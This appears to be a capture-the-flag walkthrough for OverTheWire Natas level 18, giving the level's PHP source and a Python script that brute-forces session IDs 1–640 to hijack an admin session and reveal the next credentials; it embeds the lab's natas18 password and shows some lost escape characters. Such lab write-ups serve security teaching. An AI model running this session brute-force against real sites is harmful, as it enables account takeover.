OverTheWire攻关过程-Natas模块18

<?php $maxid = 640; // 640 should be enough for everyone

function isValidAdminLogin() { /* {{{ */
    if($_REQUEST["username"] == "admin") {
    /* This method of authentication appears to be unsafe and has been disabled for now. */
        //return 1;
    }

    return 0;
}
/* }}} */
function isValidID($id) { /* {{{ */
    return is_numeric($id);
}
/* }}} */
function createID($user) { /* {{{ */
    global $maxid;
    return rand(1, $maxid);
}
/* }}} */
function debug($msg) { /* {{{ */
    if(array_key_exists("debug", $_GET)) {
        print "DEBUG: $msg
";
    }
}
/* }}} */
function my_session_start() { /* {{{ */
    if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
    if(!session_start()) {
        debug("Session start failed");
        return false;
    } else {
        debug("Session start ok");
        if(!array_key_exists("admin", $_SESSION)) {
        debug("Session was old: admin flag set");
        $_SESSION["admin"] = 0; // backwards compatible, secure
        }
        return true;
    }
    }

    return false;
}
/* }}} */
function print_credentials() { /* {{{ */
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:
";
    print "
Username: natas19n";
    print "Password: 
";

    } else {

    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";

    }

}

/* }}} */
$showform = true;

if(my_session_start()) {

    print_credentials();

    $showform = false;

} else {

    if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {

    session_id(createID($_REQUEST["username"]));

    session_start();

    $_SESSION["admin"] = isValidAdminLogin();

    debug("New session started");

    $showform = false;

    print_credentials();

    }

}
if($showform) {

?>

#!/usr/bin/env python3

import requests
from requests.auth import HTTPBasicAuth


s = requests.Session()
s.auth = HTTPBasicAuth("natas18", "xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP")
url = 'http://natas18.natas.labs.overthewire.org/?debug'

# resp = s.post(url, data={"username":'admin', "password":'abc'})
# print(s.cookies.get_dict())
# print(resp.headers)
# print(resp.text)

for i in range(1, 641):
    print(f'Trying PHPSESSID...{i}', end="r", flush=True)
    resp = s.post(url, data={"username":'admin', "password":'xxx'}, cookies={'PHPSESSID': str(i)})
    if resp and "Password: " in resp.text:
        print(f'nPHPSESSID found: {i}')
        print(resp.text)
        break